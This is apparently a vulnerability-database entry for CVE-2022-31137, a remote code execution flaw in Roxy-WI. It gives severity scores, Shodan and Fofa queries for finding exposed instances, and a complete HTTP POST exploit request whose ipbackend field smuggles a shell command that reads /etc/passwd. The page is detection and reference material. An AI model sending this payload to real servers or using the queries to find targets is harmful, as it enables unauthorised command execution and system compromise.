🔙 목록으로 돌아가기

CVE-2022-31137: Roxy-WI < 6.1.1.0 - Remote Code Execution

TitleRoxy-WI < 6.1.1.0 - Remote Code Execution
AuthorDhiyaneshDK
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUsers are advised to upgrade to latest version.
CVSS Score9.8
EPSS Score0.93971
CVE IDCVE-2022-31137
CWE IDCWE-74
Shodan Queryhttp.html:"Roxy-WI"http.html:"roxy-wi"
Fofa Querybody="roxy-wi"
Tags cve2022 cve rce roxy roxy-wi vkev vuln

🔍 Vulnerability Description

Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.

🌐 HTTP Request

POST /app/options.py HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 87
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.victim.com
Referer: http://www.victim.com/app/login.py
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31137.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31137.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A